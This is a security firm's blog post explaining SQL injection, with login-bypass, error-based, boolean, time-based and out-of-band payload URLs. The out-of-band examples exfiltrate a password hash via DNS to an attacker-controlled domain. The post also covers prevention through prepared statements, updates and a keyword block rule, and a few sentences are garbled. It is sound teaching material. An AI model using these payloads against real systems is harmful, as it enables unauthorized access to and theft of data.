SQL Injection Vulnerability & How to Prevent it?

Introduction: SQL injection is an attack technique that exploits a security vulnerability occurring in the database layer of an application. Hackers use injection to obtain unauthorized access to the underlying data, structure, and DBMS. By using an SQL injection an attacker can embed malicious code in a poorly designed application and then passed to the back-end database. The malicious data after that produces database query results or actions that should never have been executed.

What is An SQL Injection Vulnerability? Within this blog, we are trying to shed light on the technical aspects of SQL injection and what you can do to effectively avoid them.

Non-Technical Explanation of the SQL Injection Vulnerability:

Imagine a fully automatic bus that works flow based on instructions given by humans through a standard web form. That form might look like this:

Drive through <route> and <where should the bus stop?> if <when should the bus stop?>.

Sample Populated Form

Drive through Route 66 and stop at bus stops if there are people at the bus stops. 

Values in bold are provided by humans and instruct the bus. Imagine one scenario where someone manages to send these instructions:

Drive through Route 66 and do not stop at bus stops and ignore the rest of this form. if there are people at the bus stops.

The bus is fully automated. It does exactly as instructed: it drives up Route 66 and does not stop at any bus stop, even when people are waiting. Such an injection is possible because the query structures and the supplied data are not separated correctly. The automated bus does not differentiate between instructions and data, it simply parses anything it's fed. SQL injection vulnerabilities are based on the same concept. Attackers can inject malicious instructions into benign ones, all of which are then sent to the database server through a web application.

Technical Explanation of SQL Injection Vulnerability:

As the name suggests, a SQL injection vulnerability allows an attacker to inject malicious input into a SQL statement. To fully understand the issue, we first have to understand how server-side scripting language handles SQL queries.

For example, let’s check functionality in the web application generates a string with the following SQL statement:

$statement = “SELECT * FROM users WHERE username = ‘test’ AND password = ‘testing@123′”;

This SQL statement is passed to a function that sends the strings to the connected database where it is parsed, executed, and returns a result.

As you might have noticed the above statement contains some special characteristics:

• *  (asterisk) is an instruction for the SQL database to return all columns for the selected database row
• =  (equals) is an instruction for the SQL database to only return values that match the searched string
• ‘  (single quote mark) is used to tell the SQL database where the search string starts or ends

Now consider the following example in which a website user can change the value of ‘$user’ and ‘$password’, such as in a login form:

$statement = “SELECT * FROM users WHERE username = ‘$user’ AND password = ‘$password'”;

An attacker can easily insert any special SQL syntax inside the statement if the input is not sanitized by the application:

$statement = “SELECT * FROM users WHERE username = ‘admin’; — ‘ AND password

= ‘anything'”;

= ‘anything'”;

What is happening here? The green part (admin’; –) is the input of the attacker, which contains two new, special characters:

• ; (semicolon) is used to instruct the SQL parser that the current statement has ended (not necessary in most of the cases)
• — (double hyphen) instructs  SQL parser that the rest of the line is a comment and should not be executed

This SQL injection effectively removes the password verification and returns a data set for an existing user – ‘admin’ in this case. The attacker can now log in with an admin account, without having to specify a password.

The Different Types of SQL Injection Vulnerability: Attackers can exfiltrate data from servers by exploiting SQL Injection vulnerabilities in different ways. Common methods include retrieving data based on error, condition (True/False), and timing. Let’s look at the variants.

Error-Based SQL Injection

When exploiting an error-based SQL Injection vulnerability, attackers can retrieve information such as table names and content from a visible database error.

Error-Based SQL Injection Example

https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

This Request Returned an Error

Duplicate entry ‘database1’ for key ‘group_key’

The same method works for table names and content. Disabling error messages on production systems helps to prevent attackers from gathering such information.

Boolean-Based SQL Injection:

Sometimes there is no visible error message on the page when an SQL query fails during execution, making it difficult for an attacker to get information from the vulnerable applications. However, there is still a  way to explore information.

When the SQL query fails, sometimes some parts of the web page disappear or change, or the entire website can fail to load. These indications allow an attacker to determine whether the input parameter is vulnerable and whether it allows the extraction of data.

An attacker can test for this by inserting a condition into an SQL query:

https://example.com/index.php?id=1+AND+1=1

If the page loads, as usual, it might indicate that it is vulnerable to an SQL Injection. To be sure, an attacker typically tries to provoke a wrong result using something like this:

https://example.com/index.php?id=1+AND+1=2

Since the condition is wrong, if no result is returned or the page does not work as usual (missing text or a white page is displayed, for example), it might indicate that the page is vulnerable to SQL injections.

Here is an example of how to extract data in this way:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+’5%’,true,false)

With this URL request, the page should load as usual if the database version is 5.X. But, it will behave differently (display an empty page, for example) if the version is different, indicating whether it is vulnerable to an SQL injection.

Time-Based SQL Injection

In some scenarios, even though a vulnerable SQL statement does not have any visible effect on the output of the page, it might be possible to extract information from an underlying database.

Hackers determine by instructing the database to wait a stated amount of time before responding. If the targeted page is not vulnerable, it will load fast; if it is vulnerable it will take longer than usual to load. This enables attackers to extract the data, even though there are no visible changes on the page. The SQL syntax might be similar to the one used in the Boolean-Based SQL Injection Vulnerability.

But to set a measurable wait time, the ‘true’ function is changed to something that takes some time to execute, such as wait (3)’ which instructs the database to wait for three seconds:

https://example.com/index.php?id=1+AND+IF(version()+LIKE+’5%’,sleep(3),false)

If the page takes longer than usual to load it is safe to assume that the database version is 5.X.

Out-of-Band SQL Injection Vulnerability:

Sometimes the only way an attacker can retrieve information from the database is to use out-of-band techniques. Generally, such types of attacks involve sending the data directly from the database server to a machine that is controlled by the attacker. Attackers might use this method if an injection does not occur directly after supplied data is inserted, but at a later point in time.

Out-of-Band Example

https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat(‘\\\\’,(SELECT @@version),’example.com\\’)))

https://www.example.com/index.php?query=declare @pass varchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec(‘xp_fileexist ”\\’ + @pass + ‘.example.com\c$\boot.ini”’)

In these types of requests, the target makes a DNS request to the attacker-owned domain, with the query result inside the subdomain. That means that the attacker does not need to see the result of the injection, but can wait until the database server sends a request instead.

Impacts of SQL Injection Vulnerability:

There are many things an attacker can do when exploiting a SQL injection on vulnerable websites. Usually, it depends on the privileges of the user the web-based application uses to connect to the database server. By exploiting an SQL injection vulnerability, an attacker can do:

• Add, delete, edit, or read content in the databases
• Read source codes from files on the database server
• Write files to the database servers

It all depends on the capabilities of the attackers, but the exploitation of a SQL injection vulnerability can even lead to a complete takeover of the database and web server. A good way to prevent damage is to restrict access as much as possible (for example, do not connect to the database using the same or root account). It is also sensible to have different databases for different purposes (for example, separating the database for the shop system and the support forum of your website).

Preventing SQL Injection Vulnerabilities: Server-side scripting languages are not able to determine whether the SQL query string is malformed. All they can do is send a string to the database server and wait for the interpreted responses.

Surely, there must be a way to simply sanitize users' input and ensure SQL injections are infeasible.  Unfortunately, that is not always the case. There might be many numbers of ways to sanitize user input, from globally applying PHP’s addslashes() to everything (which may yield undesirable results), all the way down to applying the sanitization to “clean” variables at the same time of assembling the SQL query itself, such as wrapping the above $_GET[‘id’] in PHP’s mysql_escape_string() function.  However, when applying to sanitization the query itself is a very poor coding practice and difficult to maintain or keep track of. It is where database systems have employed the use of prepared statements.

Using Prepared Statements as SQL Injection Prevention

When you think about prepared statements, think of how print works and how it formats strings.  Literally, you assemble your string with placeholders for the data to be inserted and apply the data in the same sequence as placeholders. SQL prepared a statement to operate on with a very similar concept, where instead of directly assembling our query string and executing it, you store a prepared statement, feed it with the data, and it assembles and sanitizes it for you upon execution.  Great! Now there should not be any other SQL injection again. So why, then, are SQL injection attacks still constantly one of the biggest and most prevalent attack methods?

Insecure SQL Queries are a Problem Simply put, it may be boiled down to web application developer laziness and lack of education and awareness. Insecure SQL queries are so extremely easy to create, and secure SQL queries are still mildly complex (or at least more complex than generic and typical in-line and often insecure queries).  In the above example, a malicious hacker can inject anything he or she desires in the same line as the SQL query itself.

Example and Explanation of SQL Prepared Statements:

However, with prepared statements, there are multiple steps. No major database system operates like printf. MySQL directly requires at least two commands which are PREPARE and EXECUTE.  PHP, via the PDO library, also requires a similar stacking approach, such as the following:

$stmt = $dbh->prepare(“SELECT * FROM users WHERE USERNAME = ? AND PASSWORD = ?”);

$stmt->execute(array($username, $password));

At first glance, this is not inherently problematic and, on average, increases each SQL query by only an extra one line or two lines.  However, as it required extra caution and efforts on behalf of already tired and taxed developers, oftentimes they may get a little lazy and cut corners, opting instead to just use the easy procedural mysql_query() as opposed to more advanced object-oriented PDO prepare().

Besides this, many developers just stick with what they know to get the job done, and they generally learn the easiest and most straightforward way to execute the SQL queries rather than showing genuine interest in improving what they know exactly. 

Exploring technical blogs and staying updated on the latest advancements in SQL and database management can be a valuable strategy to enhance skills, discover new techniques, and foster a proactive learning approach. But this may also be an issue of lack of awareness.

Non-Development Related SQL Injection Protection:

Running Updated Software First and foremost in your system, always make sure you are running the most up-to-date software you can.  If you are using WordPress or any other CMS framework, keep it updated to use. The same goes for PHP, your web server software such as Apache and Nginx, and your database server (MySQL, Postgres, or others).  The more recent versions of your software have less chance of having a vulnerability or at least a widely-known one. It also extends down to our other software as well, such as SSH, OpenSSL, Postfix, and even the operating system itself.

Block URLs at Web Server Next Level, you should employ methods to ensure you are as vulnerable to potential SQL injection attacks as possible.  You may go for a quick and easy match against common SQL query keywords in URLs and just simply block them. For example, if you run Apache as your web server, you could use the following two mod_rewrite lines in your VirtualHost directive, as explained below:

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]

RewriteRule (.*) – [F]

It is indeed quite clever, but it does not protect against everything. The SQL injection parameters can still be passed via POST value or other RESTful-type URLs, not to mention there are different ways.

The Truth About SQL Injection Web Vulnerability:

Even though we provided examples of how to prevent the exploitation of SQL Injection vulnerabilities, there is no magic wand.

However, PHP is attempting a new, aggressive approach. Since PHP 5.5, procedural MySQL has been deprecated and will be soon removed entirely. It means that in future software projects need to be switched to either MySQLi or PDO MySQL to continue to work. It is a positive development since it forces developers into a system that handles prepared statements with relative ease – though it still requires stacking a few operations. However, some developers adopt a ‘code golf’ style, most of them, unfortunately, will still choose a single-line simple query over two-line prepared statements.

Some options can account for development shortcomings, including but not limited to privilege limitations, data separation, web application firewalls, and many other approaches. But still, these options are employed as consistently as SQL injection attacks. This may never be the case that injection-style attacks escape OWASP’s Top 10 list. Be the final changes that are needed to ensure data and web application security, and keep your databases safe from SQL injections through our Security Testing Services.